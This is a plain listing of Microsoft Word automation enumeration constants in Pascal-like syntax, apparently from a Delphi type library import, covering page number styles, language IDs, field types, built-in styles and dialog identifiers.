wdCaptionNumberStyleChosung = 25;

wdCaptionNumberStyleZodiac1 = 30;

wdCaptionNumberStyleZodiac2 = 31;

wdCaptionNumberStyleHanjaRead = 41;

wdCaptionNumberStyleHanjaReadDigit = 42;

wdCaptionNumberStyleTradChinNum2 = 34;

wdCaptionNumberStyleTradChinNum3 = 35;

wdCaptionNumberStyleSimpChinNum2 = 38;

wdCaptionNumberStyleSimpChinNum3 = 39;

wdCaptionNumberStyleHebrewLetter1 = 45;

wdCaptionNumberStyleArabicLetter1 = 46;

wdCaptionNumberStyleHebrewLetter2 = 47;

wdCaptionNumberStyleArabicLetter2 = 48;

Enum WdCaptionNumberStyleHID;

emptyenum = 0;

Enum WdPageNumberStyle;

wdPageNumberStyleArabic = 0;

wdPageNumberStyleUppercaseRoman = 1;

wdPageNumberStyleLowercaseRoman = 2;

wdPageNumberStyleUppercaseLetter = 3;

wdPageNumberStyleLowercaseLetter = 4;

wdPageNumberStyleArabicFullWidth = 14;

wdPageNumberStyleKanji = 10;

wdPageNumberStyleKanjiDigit = 11;

wdPageNumberStyleKanjiTraditional = 16;

wdPageNumberStyleNumberInCircle = 18;

wdPageNumberStyleHanjaRead = 41;

wdPageNumberStyleHanjaReadDigit = 42;

wdPageNumberStyleTradChinNum1 = 33;

wdPageNumberStyleTradChinNum2 = 34;

wdPageNumberStyleSimpChinNum1 = 37;

wdPageNumberStyleSimpChinNum2 = 38;

wdPageNumberStyleHebrewLetter1 = 45;

wdPageNumberStyleArabicLetter1 = 46;

wdPageNumberStyleHebrewLetter2 = 47;

wdPageNumberStyleArabicLetter2 = 48;

Enum WdPageNumberStyleHID;

emptyenum = 0;

Enum WdStatistic;

wdStatisticWords = 0;

wdStatisticLines = 1;

wdStatisticPages = 2;

wdStatisticCharacters = 3;

wdStatisticParagraphs = 4;

wdStatisticCharactersWithSpaces = 5;

wdStatisticFarEastCharacters = 6;

Enum WdStatisticHID;

emptyenum = 0;

Enum WdBuiltInProperty;

wdPropertyTitle = 1;

wdPropertySubject = 2;

wdPropertyAuthor = 3;

wdPropertyKeywords = 4;

wdPropertyComments = 5;

wdPropertyTemplate = 6;

wdPropertyLastAuthor = 7;

wdPropertyRevision = 8;

wdPropertyAppName = 9;

wdPropertyTimeLastPrinted = 10;

wdPropertyTimeCreated = 11;

wdPropertyTimeLastSaved = 12;

wdPropertyVBATotalEdit = 13;

wdPropertyPages = 14;

wdPropertyWords = 15;

wdPropertyCharacters = 16;

wdPropertySecurity = 17;

wdPropertyCategory = 18;

wdPropertyFormat = 19;

wdPropertyManager = 20;

wdPropertyCompany = 21;

wdPropertyBytes = 22;

wdPropertyLines = 23;

wdPropertyParas = 24;

wdPropertySlides = 25;

wdPropertyNotes = 26;

wdPropertyHiddenSlides = 27;

wdPropertyMMClips = 28;

wdPropertyHyperlinkBase = 29;

wdPropertyCharsWSpaces = 30;

Enum WdLineSpacing;

wdLineSpaceSingle = 0;

wdLineSpace1pt5 = 1;

wdLineSpaceDouble = 2;

wdLineSpaceAtLeast = 3;

wdLineSpaceExactly = 4;

wdLineSpaceMultiple = 5;

Enum WdNumberType;

wdNumberParagraph = 1;

wdNumberListNum = 2;

wdNumberAllNumbers = 3;

Enum WdListType;

wdListNoNumbering = 0;

wdListListNumOnly = 1;

wdListBullet = 2;

wdListSimpleNumbering = 3;

wdListOutlineNumbering = 4;

wdListMixedNumbering = 5;

Enum WdStoryType;

wdMainTextStory = 1;

wdFootnotesStory = 2;

wdEndnotesStory = 3;

wdCommentsStory = 4;

wdTextFrameStory = 5;

wdEvenPagesHeaderStory = 6;

wdPrimaryHeaderStory = 7;

wdEvenPagesFooterStory = 8;

wdPrimaryFooterStory = 9;

wdFirstPageHeaderStory = 10;

wdFirstPageFooterStory = 11;

Enum WdSaveFormat;

wdFormatDocument = 0;

wdFormatTemplate = 1;

wdFormatText = 2;

wdFormatTextLineBreaks = 3;

wdFormatDOSText = 4;

wdFormatDOSTextLineBreaks = 5;

wdFormatRTF = 6;

wdFormatUnicodeText = 7;

wdFormatEncodedText = 7;

wdFormatHTML = 8;

Enum WdOpenFormat;

wdOpenFormatAuto = 0;

wdOpenFormatDocument = 1;

wdOpenFormatTemplate = 2;

wdOpenFormatRTF = 3;

wdOpenFormatText = 4;

wdOpenFormatUnicodeText = 5;

wdOpenFormatEncodedText = 5;

wdOpenFormatAllWord = 6;

wdOpenFormatWebPages = 7;

Enum WdHeaderFooterIndex;

wdHeaderFooterPrimary = 1;

wdHeaderFooterFirstPage = 2;

wdHeaderFooterEvenPages = 3;

Enum WdTocFormat;

wdTOCTemplate = 0;

wdTOCClassic = 1;

wdTOCDistinctive = 2;

wdTOCFancy = 3;

wdTOCModern = 4;

wdTOCFormal = 5;

wdTOCSimple = 6;

Enum WdTofFormat;

wdTOFTemplate = 0;

wdTOFClassic = 1;

wdTOFDistinctive = 2;

wdTOFCentered = 3;

wdTOFFormal = 4;

wdTOFSimple = 5;

Enum WdToaFormat;

wdTOATemplate = 0;

wdTOAClassic = 1;

wdTOADistinctive = 2;

wdTOAFormal = 3;

wdTOASimple = 4;

Enum WdLineStyle;

wdLineStyleNone = 0;

wdLineStyleSingle = 1;

wdLineStyleDot = 2;

wdLineStyleDashSmallGap = 3;

wdLineStyleDashLargeGap = 4;

wdLineStyleDashDot = 5;

wdLineStyleDashDotDot = 6;

wdLineStyleDouble = 7;

wdLineStyleTriple = 8;

wdLineStyleThinThickSmallGap = 9;

wdLineStyleThickThinSmallGap = 10;

wdLineStyleThinThickThinSmallGap = 11;

wdLineStyleThinThickMedGap = 12;

wdLineStyleThickThinMedGap = 13;

wdLineStyleThinThickThinMedGap = 14;

wdLineStyleThinThickLargeGap = 15;

wdLineStyleThickThinLargeGap = 16;

wdLineStyleThinThickThinLargeGap = 17;

wdLineStyleSingleWavy = 18;

wdLineStyleDoubleWavy = 19;

wdLineStyleDashDotStroked = 20;

wdLineStyleEmboss3D = 21;

wdLineStyleEngrave3D = 22;

wdLineStyleOutset = 23;

wdLineStyleInset = 24;

Enum WdLineWidth;

wdLineWidth025pt = 2;

wdLineWidth050pt = 4;

wdLineWidth075pt = 6;

wdLineWidth100pt = 8;

wdLineWidth150pt = 12;

wdLineWidth225pt = 18;

wdLineWidth300pt = 24;

wdLineWidth450pt = 36;

wdLineWidth600pt = 48;

Enum WdBreakType;

wdSectionBreakNextPage = 2;

wdSectionBreakContinuous = 3;

wdSectionBreakEvenPage = 4;

wdSectionBreakOddPage = 5;

wdLineBreak = 6;

wdPageBreak = 7;

wdColumnBreak = 8;

wdLineBreakClearLeft = 9;

wdLineBreakClearRight = 10;

wdTextWrappingBreak = 11;

Enum WdTabLeader;

wdTabLeaderSpaces = 0;

wdTabLeaderDots = 1;

wdTabLeaderDashes = 2;

wdTabLeaderLines = 3;

wdTabLeaderHeavy = 4;

wdTabLeaderMiddleDot = 5;

Enum WdTabLeaderHID;

emptyenum = 0;

Enum WdMeasurementUnits;

wdInches = 0;

wdCentimeters = 1;

wdMillimeters = 2;

wdPoints = 3;

wdPicas = 4;

Enum WdMeasurementUnitsHID;

emptyenum = 0;

Enum WdDropPosition;

wdDropNone = 0;

wdDropNormal = 1;

wdDropMargin = 2;

Enum WdNumberingRule;

wdRestartContinuous = 0;

wdRestartSection = 1;

wdRestartPage = 2;

Enum WdFootnoteLocation;

wdBottomOfPage = 0;

wdBeneathText = 1;

Enum WdEndnoteLocation;

wdEndOfSection = 0;

wdEndOfDocument = 1;

Enum WdSortSeparator;

wdSortSeparateByTabs = 0;

wdSortSeparateByCommas = 1;

wdSortSeparateByDefaultTableSeparator = 2;

Enum WdTableFieldSeparator;

wdSeparateByParagraphs = 0;

wdSeparateByTabs = 1;

wdSeparateByCommas = 2;

wdSeparateByDefaultListSeparator = 3;

Enum WdSortFieldType;

wdSortFieldAlphanumeric = 0;

wdSortFieldNumeric = 1;

wdSortFieldDate = 2;

wdSortFieldSyllable = 3;

wdSortFieldJapanJIS = 4;

wdSortFieldStroke = 5;

wdSortFieldKoreaKS = 6;

Enum WdSortFieldTypeHID;

emptyenum = 0;

Enum WdSortOrder;

wdSortOrderAscending = 0;

wdSortOrderDescending = 1;

Enum WdTableFormat;

wdTableFormatNone = 0;

wdTableFormatSimple1 = 1;

wdTableFormatSimple2 = 2;

wdTableFormatSimple3 = 3;

wdTableFormatClassic1 = 4;

wdTableFormatClassic2 = 5;

wdTableFormatClassic3 = 6;

wdTableFormatClassic4 = 7;

wdTableFormatColorful1 = 8;

wdTableFormatColorful2 = 9;

wdTableFormatColorful3 = 10;

wdTableFormatColumns1 = 11;

wdTableFormatColumns2 = 12;

wdTableFormatColumns3 = 13;

wdTableFormatColumns4 = 14;

wdTableFormatColumns5 = 15;

wdTableFormatGrid1 = 16;

wdTableFormatGrid2 = 17;

wdTableFormatGrid3 = 18;

wdTableFormatGrid4 = 19;

wdTableFormatGrid5 = 20;

wdTableFormatGrid6 = 21;

wdTableFormatGrid7 = 22;

wdTableFormatGrid8 = 23;

wdTableFormatList1 = 24;

wdTableFormatList2 = 25;

wdTableFormatList3 = 26;

wdTableFormatList4 = 27;

wdTableFormatList5 = 28;

wdTableFormatList6 = 29;

wdTableFormatList7 = 30;

wdTableFormatList8 = 31;

wdTableFormat3DEffects1 = 32;

wdTableFormat3DEffects2 = 33;

wdTableFormat3DEffects3 = 34;

wdTableFormatContemporary = 35;

wdTableFormatElegant = 36;

wdTableFormatProfessional = 37;

wdTableFormatSubtle1 = 38;

wdTableFormatSubtle2 = 39;

wdTableFormatWeb1 = 40;

wdTableFormatWeb2 = 41;

wdTableFormatWeb3 = 42;

Enum WdTableFormatApply;

wdTableFormatApplyBorders = 1;

wdTableFormatApplyShading = 2;

wdTableFormatApplyFont = 4;

wdTableFormatApplyColor = 8;

wdTableFormatApplyAutoFit = 16;

wdTableFormatApplyHeadingRows = 32;

wdTableFormatApplyLastRow = 64;

wdTableFormatApplyFirstColumn = 128;

wdTableFormatApplyLastColumn = $100;

Enum WdLanguageID;

wdLanguageNone = 0;

wdNoProofing = $400;

wdAfrikaans = $436;

wdAlbanian = $41C;

wdArabicAlgeria = $1401;

wdArabicBahrain = $3C01;

wdArabicEgypt = $C01;

wdArabicIraq = $801;

wdArabicJordan = $2C01;

wdArabicKuwait = $3401;

wdArabicLebanon = $3001;

wdArabicLibya = $1001;

wdArabicMorocco = $1801;

wdArabicOman = $2001;

wdArabicQatar = $4001;

wdArabic = $401;

wdArabicSyria = $2801;

wdArabicTunisia = $1C01;

wdArabicUAE = $3801;

wdArabicYemen = $2401;

wdArmenian = $42B;

wdAssamese = $44D;

wdAzeriCyrillic = $82C;

wdAzeriLatin = $42C;

wdBasque = $42D;

wdByelorussian = $423;

wdBengali = $445;

wdBulgarian = $402;

wdBurmese = $455;

wdCatalan = $403;

wdChineseHongKong = $C04;

wdChineseMacao = $1404;

wdSimplifiedChinese = $804;

wdChineseSingapore = $1004;

wdTraditionalChinese = $404;

wdCroatian = $41A;

wdCzech = $405;

wdDanish = $406;

wdBelgianDutch = $813;

wdDutch = $413;

wdEnglishAUS = $C09;

wdEnglishBelize = $2809;

wdEnglishCanadian = $1009;

wdEnglishCaribbean = $2409;

wdEnglishIreland = $1809;

wdEnglishJamaica = $2009;

wdEnglishNewZealand = $1409;

wdEnglishPhilippines = $3409;

wdEnglishSouthAfrica = $1C09;

wdEnglishTrinidad = $2C09;

wdEnglishUK = $809;

wdEnglishUS = $409;

wdEnglishZimbabwe = $3009;

wdEstonian = $425;

wdFaeroese = $438;

wdFarsi = $429;

wdFinnish = $40B;

wdBelgianFrench = $80C;

wdFrenchCameroon = $2C0C;

wdFrenchCanadian = $C0C;

wdFrenchCotedIvoire = $300C;

wdFrench = $40C;

wdFrenchLuxembourg = $140C;

wdFrenchMali = $340C;

wdFrenchMonaco = $180C;

wdFrenchReunion = $200C;

wdFrenchSenegal = $280C;

wdSwissFrench = $100C;

wdFrenchWestIndies = $1C0C;

wdFrenchZaire = $240C;

wdFrisianNetherlands = $462;

wdGaelicIreland = $83C;

wdGaelicScotland = $43C;

wdGalician = $456;

wdGeorgian = $437;

wdGermanAustria = $C07;

wdGerman = $407;

wdGermanLiechtenstein = $1407;

wdGermanLuxembourg = $1007;

wdSwissGerman = $807;

wdGreek = $408;

wdGujarati = $447;

wdHebrew = $40D;

wdHindi = $439;

wdHungarian = $40E;

wdIcelandic = $40F;

wdIndonesian = $421;

wdItalian = $410;

wdSwissItalian = $810;

wdJapanese = $411;

wdKannada = $44B;

wdKashmiri = $460;

wdKazakh = $43F;

wdKhmer = $453;

wdKirghiz = $440;

wdKonkani = $457;

wdKorean = $412;

wdLao = $454;

wdLatvian = $426;

wdLithuanian = $427;

wdMacedonian = $42F;

wdMalaysian = $43E;

wdMalayBruneiDarussalam = $83E;

wdMalayalam = $44C;

wdMaltese = $43A;

wdManipuri = $458;

wdMarathi = $44E;

wdMongolian = $450;

wdNepali = $461;

wdNorwegianBokmol = $414;

wdNorwegianNynorsk = $814;

wdOriya = $448;

wdPolish = $415;

wdBrazilianPortuguese = $416;

wdPortuguese = $816;

wdPunjabi = $446;

wdRhaetoRomanic = $417;

wdRomanianMoldova = $818;

wdRomanian = $418;

wdRussianMoldova = $819;

wdRussian = $419;

wdSamiLappish = $43B;

wdSanskrit = $44F;

wdSerbianCyrillic = $C1A;

wdSerbianLatin = $81A;

wdSindhi = $459;

wdSlovak = $41B;

wdSlovenian = $424;

wdSorbian = $42E;

wdSpanishArgentina = $2C0A;

wdSpanishBolivia = $400A;

wdSpanishChile = $340A;

wdSpanishColombia = $240A;

wdSpanishCostaRica = $140A;

wdSpanishDominicanRepublic = $1C0A;

wdSpanishEcuador = $300A;

wdSpanishElSalvador = $440A;

wdSpanishGuatemala = $100A;

wdSpanishHonduras = $480A;

wdMexicanSpanish = $80A;

wdSpanishNicaragua = $4C0A;

wdSpanishPanama = $180A;

wdSpanishParaguay = $3C0A;

wdSpanishPeru = $280A;

wdSpanishPuertoRico = $500A;

wdSpanishModernSort = $C0A;

wdSpanish = $40A;

wdSpanishUruguay = $380A;

wdSpanishVenezuela = $200A;

wdSesotho = $430;

wdSutu = $430;

wdSwahili = $441;

wdSwedishFinland = $81D;

wdSwedish = $41D;

wdTajik = $428;

wdTamil = $449;

wdTatar = $444;

wdTelugu = $44A;

wdThai = $41E;

wdTibetan = $451;

wdTsonga = $431;

wdTswana = $432;

wdTurkish = $41F;

wdTurkmen = $442;

wdUkrainian = $422;

wdUrdu = $420;

wdUzbekCyrillic = $843;

wdUzbekLatin = $443;

wdVenda = $433;

wdVietnamese = $42A;

wdWelsh = $452;

wdXhosa = $434;

wdZulu = $435;

Enum WdFieldType;

wdFieldEmpty = -1;

wdFieldRef = 3;

wdFieldIndexEntry = 4;

wdFieldFootnoteRef = 5;

wdFieldSet = 6;

wdFieldIf = 7;

wdFieldIndex = 8;

wdFieldTOCEntry = 9;

wdFieldStyleRef = 10;

wdFieldRefDoc = 11;

wdFieldSequence = 12;

wdFieldTOC = 13;

wdFieldInfo = 14;

wdFieldTitle = 15;

wdFieldSubject = 16;

wdFieldAuthor = 17;

wdFieldKeyWord = 18;

wdFieldComments = 19;

wdFieldLastSavedBy = 20;

wdFieldCreateDate = 21;

wdFieldSaveDate = 22;

wdFieldPrintDate = 23;

wdFieldRevisionNum = 24;

wdFieldEditTime = 25;

wdFieldNumPages = 26;

wdFieldNumWords = 27;

wdFieldNumChars = 28;

wdFieldFileName = 29;

wdFieldTemplate = 30;

wdFieldDate = 31;

wdFieldTime = 32;

wdFieldPage = 33;

wdFieldExpression = 34;

wdFieldQuote = 35;

wdFieldInclude = 36;

wdFieldPageRef = 37;

wdFieldAsk = 38;

wdFieldFillIn = 39;

wdFieldData = 40;

wdFieldNext = 41;

wdFieldNextIf = 42;

wdFieldSkipIf = 43;

wdFieldMergeRec = 44;

wdFieldDDE = 45;

wdFieldDDEAuto = 46;

wdFieldGlossary = 47;

wdFieldPrint = 48;

wdFieldFormula = 49;

wdFieldGoToButton = 50;

wdFieldMacroButton = 51;

wdFieldAutoNumOutline = 52;

wdFieldAutoNumLegal = 53;

wdFieldAutoNum = 54;

wdFieldImport = 55;

wdFieldLink = 56;

wdFieldSymbol = 57;

wdFieldEmbed = 58;

wdFieldMergeField = 59;

wdFieldUserName = 60;

wdFieldUserInitials = 61;

wdFieldUserAddress = 62;

wdFieldBarCode = 63;

wdFieldDocVariable = 64;

wdFieldSection = 65;

wdFieldSectionPages = 66;

wdFieldIncludePicture = 67;

wdFieldIncludeText = 68;

wdFieldFileSize = 69;

wdFieldFormTextInput = 70;

wdFieldFormCheckBox = 71;

wdFieldNoteRef = 72;

wdFieldTOA = 73;

wdFieldTOAEntry = 74;

wdFieldMergeSeq = 75;

wdFieldPrivate = 77;

wdFieldDatabase = 78;

wdFieldAutoText = 79;

wdFieldCompare = 80;

wdFieldAddin = 81;

wdFieldSubscriber = 82;

wdFieldFormDropDown = 83;

wdFieldAdvance = 84;

wdFieldDocProperty = 85;

wdFieldOCX = 87;

wdFieldHyperlink = 88;

wdFieldAutoTextList = 89;

wdFieldListNum = 90;

wdFieldHTMLActiveX = 91;

Enum WdBuiltinStyle;

wdStyleNormal = -1;

wdStyleEnvelopeAddress = -37;

wdStyleEnvelopeReturn = -38;

wdStyleBodyText = -67;

wdStyleHeading1 = -2;

wdStyleHeading2 = -3;

wdStyleHeading3 = -4;

wdStyleHeading4 = -5;

wdStyleHeading5 = -6;

wdStyleHeading6 = -7;

wdStyleHeading7 = -8;

wdStyleHeading8 = -9;

wdStyleHeading9 = -10;

wdStyleIndex1 = -11;

wdStyleIndex2 = -12;

wdStyleIndex3 = -13;

wdStyleIndex4 = -14;

wdStyleIndex5 = -15;

wdStyleIndex6 = -16;

wdStyleIndex7 = -17;

wdStyleIndex8 = -18;

wdStyleIndex9 = -19;

wdStyleTOC1 = -20;

wdStyleTOC2 = -21;

wdStyleTOC3 = -22;

wdStyleTOC4 = -23;

wdStyleTOC5 = -24;

wdStyleTOC6 = -25;

wdStyleTOC7 = -26;

wdStyleTOC8 = -27;

wdStyleTOC9 = -28;

wdStyleNormalIndent = -29;

wdStyleFootnoteText = -30;

wdStyleCommentText = -31;

wdStyleHeader = -32;

wdStyleFooter = -33;

wdStyleIndexHeading = -34;

wdStyleCaption = -35;

wdStyleTableOfFigures = -36;

wdStyleFootnoteReference = -39;

wdStyleCommentReference = -40;

wdStyleLineNumber = -41;

wdStylePageNumber = -42;

wdStyleEndnoteReference = -43;

wdStyleEndnoteText = -44;

wdStyleTableOfAuthorities = -45;

wdStyleMacroText = -46;

wdStyleTOAHeading = -47;

wdStyleList = -48;

wdStyleListBullet = -49;

wdStyleListNumber = -50;

wdStyleList2 = -51;

wdStyleList3 = -52;

wdStyleList4 = -53;

wdStyleList5 = -54;

wdStyleListBullet2 = -55;

wdStyleListBullet3 = -56;

wdStyleListBullet4 = -57;

wdStyleListBullet5 = -58;

wdStyleListNumber2 = -59;

wdStyleListNumber3 = -60;

wdStyleListNumber4 = -61;

wdStyleListNumber5 = -62;

wdStyleTitle = -63;

wdStyleClosing = -64;

wdStyleSignature = -65;

wdStyleDefaultParagraphFont = -66;

wdStyleBodyTextIndent = -68;

wdStyleListContinue = -69;

wdStyleListContinue2 = -70;

wdStyleListContinue3 = -71;

wdStyleListContinue4 = -72;

wdStyleListContinue5 = -73;

wdStyleMessageHeader = -74;

wdStyleSubtitle = -75;

wdStyleSalutation = -76;

wdStyleDate = -77;

wdStyleBodyTextFirstIndent = -78;

wdStyleBodyTextFirstIndent2 = -79;

wdStyleNoteHeading = -80;

wdStyleBodyText2 = -81;

wdStyleBodyText3 = -82;

wdStyleBodyTextIndent2 = -83;

wdStyleBodyTextIndent3 = -84;

wdStyleBlockQuotation = -85;

wdStyleHyperlink = -86;

wdStyleHyperlinkFollowed = -87;

wdStyleStrong = -88;

wdStyleEmphasis = -89;

wdStyleNavPane = -90;

wdStylePlainText = -91;

wdStyleHtmlNormal = -95;

wdStyleHtmlAcronym = -96;

wdStyleHtmlAddress = -97;

wdStyleHtmlCite = -98;

wdStyleHtmlCode = -99;

wdStyleHtmlDfn = -100;

wdStyleHtmlKbd = -101;

wdStyleHtmlPre = -102;

wdStyleHtmlSamp = -103;

wdStyleHtmlTt = -104;

wdStyleHtmlVar = -105;

Enum WdWordDialogTab;

wdDialogToolsOptionsTabView = 204;

wdDialogToolsOptionsTabGeneral = 203;

wdDialogToolsOptionsTabEdit = 224;

wdDialogToolsOptionsTabPrint = 208;

wdDialogToolsOptionsTabSave = 209;

wdDialogToolsOptionsTabProofread = 211;

wdDialogToolsOptionsTabTrackChanges = $182;

wdDialogToolsOptionsTabUserInfo = 213;

wdDialogToolsOptionsTabCompatibility = $20D;

wdDialogToolsOptionsTabTypography = $2E3;

wdDialogToolsOptionsTabFileLocations = 225;

wdDialogToolsOptionsTabFuzzy = $316;

wdDialogToolsOptionsTabHangulHanjaConversion = $312;

wdDialogToolsOptionsTabBidi = $405;

wdDialogFilePageSetupTabMargins = $249F0;

wdDialogFilePageSetupTabPaperSize = $249F1;

wdDialogFilePageSetupTabPaperSource = $249F2;

wdDialogFilePageSetupTabLayout = $249F3;

wdDialogFilePageSetupTabCharsLines = $249F4;

wdDialogInsertSymbolTabSymbols = $30D40;

wdDialogInsertSymbolTabSpecialCharacters = $30D41;

wdDialogNoteOptionsTabAllFootnotes = $493E0;

wdDialogNoteOptionsTabAllEndnotes = $493E1;

wdDialogInsertIndexAndTablesTabIndex = $61A80;

wdDialogInsertIndexAndTablesTabTableOfContents = $61A81;

wdDialogInsertIndexAndTablesTabTableOfFigures = $61A82;

wdDialogInsertIndexAndTablesTabTableOfAuthorities = $61A83;

wdDialogOrganizerTabStyles = $7A120;

wdDialogOrganizerTabAutoText = $7A121;

wdDialogOrganizerTabCommandBars = $7A122;

wdDialogOrganizerTabMacros = $7A123;

wdDialogFormatFontTabFont = $927C0;

wdDialogFormatFontTabCharacterSpacing = $927C1;

wdDialogFormatFontTabAnimation = $927C2;

wdDialogFormatBordersAndShadingTabBorders = $AAE60;

wdDialogFormatBordersAndShadingTabPageBorder = $AAE61;

wdDialogFormatBordersAndShadingTabShading = $AAE62;

wdDialogToolsEnvelopesAndLabelsTabEnvelopes = $C3500;

wdDialogToolsEnvelopesAndLabelsTabLabels = $C3501;

wdDialogFormatParagraphTabIndentsAndSpacing = $F4240;

wdDialogFormatParagraphTabTextFlow = $F4241;

wdDialogFormatParagraphTabTeisai = $F4242;

wdDialogFormatDrawingObjectTabColorsAndLines = $124F80;

wdDialogFormatDrawingObjectTabSize = $124F81;

wdDialogFormatDrawingObjectTabPosition = $124F82;

wdDialogFormatDrawingObjectTabWrapping = $124F83;

wdDialogFormatDrawingObjectTabPicture = $124F84;

wdDialogFormatDrawingObjectTabTextbox = $124F85;

wdDialogFormatDrawingObjectTabWeb = $124F86;

wdDialogFormatDrawingObjectTabHR = $124F87;

wdDialogToolsAutoCorrectExceptionsTabFirstLetter = $155CC0;

wdDialogToolsAutoCorrectExceptionsTabInitialCaps = $155CC1;

wdDialogToolsAutoCorrectExceptionsTabHangulAndAlphabet = $155CC2;

wdDialogToolsAutoCorrectExceptionsTabIac = $155CC3;

wdDialogFormatBulletsAndNumberingTabBulleted = $16E360;

wdDialogFormatBulletsAndNumberingTabNumbered = $16E361;

wdDialogFormatBulletsAndNumberingTabOutlineNumbered = $16E362;

wdDialogLetterWizardTabLetterFormat = $186A00;

wdDialogLetterWizardTabRecipientInfo = $186A01;

wdDialogLetterWizardTabOtherElements = $186A02;

wdDialogLetterWizardTabSenderInfo = $186A03;

wdDialogToolsAutoManagerTabAutoCorrect = $19F0A0;

wdDialogToolsAutoManagerTabAutoFormatAsYouType = $19F0A1;

wdDialogToolsAutoManagerTabAutoText = $19F0A2;

wdDialogToolsAutoManagerTabAutoFormat = $19F0A3;

wdDialogEmailOptionsTabSignature = $1CFDE0;

wdDialogEmailOptionsTabStationary = $1CFDE1;

wdDialogEmailOptionsTabQuoting = $1CFDE2;

wdDialogWebOptionsGeneral = $1E8480;

wdDialogWebOptionsFiles = $1E8481;

wdDialogWebOptionsPictures = $1E8482;

wdDialogWebOptionsEncoding = $1E8483;

wdDialogWebOptionsFonts = $1E8484;

Enum WdWordDialogTabHID;

emptyenum = 0;

Enum WdWordDialog;

wdDialogHelpAbout = 9;

wdDialogHelpWordPerfectHelp = 10;

wdDialogHelpWordPerfectHelpOptions = $1FF;

wdDialogFormatChangeCase = $142;

wdDialogToolsOptionsFuzzy = $316;

wdDialogToolsWordCount = 228;

wdDialogDocumentStatistics = 78;

wdDialogFileNew = 79;

wdDialogFileOpen = 80;

wdDialogMailMergeOpenDataSource = 81;

wdDialogMailMergeOpenHeaderSource = 82;

wdDialogMailMergeUseAddressBook = $30B;

wdDialogFileSaveAs = 84;

wdDialogFileSummaryInfo = 86;

wdDialogToolsTemplates = 87;

wdDialogOrganizer = 222;

wdDialogFilePrint = 88;

wdDialogMailMerge = $2A4;

wdDialogMailMergeCheck = $2A5;

wdDialogMailMergeQueryOptions = $2A9;

wdDialogMailMergeFindRecord = $239;

wdDialogMailMergeInsertIf = $FD1;

wdDialogMailMergeInsertNextIf = $FD5;

wdDialogMailMergeInsertSkipIf = $FD7;

wdDialogMailMergeInsertFillIn = $FD0;

wdDialogMailMergeInsertAsk = $FCF;

wdDialogMailMergeInsertSet = $FD6;

wdDialogMailMergeHelper = $2A8;

wdDialogLetterWizard = $335;

wdDialogFilePrintSetup = 97;

wdDialogFileFind = 99;

wdDialogMailMergeCreateDataSource = $282;

wdDialogMailMergeCreateHeaderSource = $283;

wdDialogEditPasteSpecial = 111;

wdDialogEditFind = 112;

wdDialogEditReplace = 117;

wdDialogEditGoToOld = $32B;

wdDialogEditGoTo = $380;

wdDialogCreateAutoText = $368;

wdDialogEditAutoText = $3D9;

wdDialogEditLinks = 124;

wdDialogEditObject = 125;

wdDialogConvertObject = $188;

wdDialogTableToText = 128;

wdDialogTextToTable = 127;

wdDialogTableInsertTable = 129;

wdDialogTableInsertCells = 130;

wdDialogTableInsertRow = 131;

wdDialogTableDeleteCells = 133;

wdDialogTableSplitCells = 137;

wdDialogTableFormula = $15C;

wdDialogTableAutoFormat = $233;

wdDialogTableFormatCell = $264;

wdDialogViewZoom = $241;

wdDialogNewToolbar = $24A;

wdDialogInsertBreak = 159;

wdDialogInsertFootnote = $172;

wdDialogInsertSymbol = 162;

wdDialogInsertPicture = 163;

wdDialogInsertFile = 164;

wdDialogInsertDateTime = 165;

wdDialogInsertNumber = $32C;

wdDialogInsertField = 166;

wdDialogInsertDatabase = $155;

wdDialogInsertMergeField = 167;

wdDialogInsertBookmark = 168;

wdDialogInsertHyperlink = $39D;

wdDialogMarkIndexEntry = 169;

wdDialogMarkCitation = $1CF;

wdDialogEditTOACategory = $271;

wdDialogInsertIndexAndTables = $1D9;

wdDialogInsertIndex = 170;

wdDialogInsertTableOfContents = 171;

wdDialogMarkTableOfContentsEntry = $1BA;

wdDialogInsertTableOfFigures = $1D8;

wdDialogInsertTableOfAuthorities = $1D7;

wdDialogInsertObject = 172;

wdDialogFormatCallout = $262;

wdDialogDrawSnapToGrid = $279;

wdDialogDrawAlign = $27A;

wdDialogToolsEnvelopesAndLabels = $25F;

wdDialogToolsCreateEnvelope = 173;

wdDialogToolsCreateLabels = $1E9;

wdDialogToolsProtectDocument = $1F7;

wdDialogToolsProtectSection = $242;

wdDialogToolsUnprotectDocument = $209;

wdDialogFormatFont = 174;

wdDialogFormatParagraph = 175;

wdDialogFormatSectionLayout = 176;

wdDialogFormatColumns = 177;

wdDialogFileDocumentLayout = 178;

wdDialogFileMacPageSetup = $2AD;

wdDialogFilePrintOneCopy = $1BD;

wdDialogFileMacPageSetupGX = $1BC;

wdDialogFileMacCustomPageSetupGX = $2E1;

wdDialogFilePageSetup = 178;

wdDialogFormatTabs = 179;

wdDialogFormatStyle = 180;

wdDialogFormatStyleGallery = $1F9;

wdDialogFormatDefineStyleFont = 181;

wdDialogFormatDefineStylePara = 182;

wdDialogFormatDefineStyleTabs = 183;

wdDialogFormatDefineStyleFrame = 184;

wdDialogFormatDefineStyleBorders = 185;

wdDialogFormatDefineStyleLang = 186;

wdDialogFormatPicture = 187;

wdDialogToolsLanguage = 188;

wdDialogFormatBordersAndShading = 189;

wdDialogFormatDrawingObject = $3C0;

wdDialogFormatFrame = 190;

wdDialogFormatDropCap = $1E8;

wdDialogFormatBulletsAndNumbering = $338;

wdDialogToolsHyphenation = 195;

wdDialogToolsBulletsNumbers = 196;

wdDialogToolsHighlightChanges = 197;

wdDialogToolsAcceptRejectChanges = $1FA;

wdDialogToolsMergeDocuments = $1B3;

wdDialogToolsCompareDocuments = 198;

wdDialogTableSort = 199;

wdDialogToolsCustomizeMenuBar = $267;

wdDialogToolsCustomize = 152;

wdDialogToolsCustomizeKeyboard = $1B0;

wdDialogToolsCustomizeMenus = $1B1;

wdDialogListCommands = $2D3;

wdDialogToolsOptions = $3CE;

wdDialogToolsOptionsGeneral = 203;

wdDialogToolsAdvancedSettings = 206;

wdDialogToolsOptionsCompatibility = $20D;

wdDialogToolsOptionsPrint = 208;

wdDialogToolsOptionsSave = 209;

wdDialogToolsOptionsSpellingAndGrammar = 211;

wdDialogToolsSpellingAndGrammar = $33C;

wdDialogToolsThesaurus = 194;

wdDialogToolsOptionsUserInfo = 213;

wdDialogToolsOptionsAutoFormat = $3BF;

wdDialogToolsOptionsTrackChanges = $182;

wdDialogToolsOptionsEdit = 224;

wdDialogToolsMacro = 215;

wdDialogInsertPageNumbers = $126;

wdDialogFormatPageNumber = $12A;

wdDialogNoteOptions = $175;

wdDialogCopyFile = $12C;

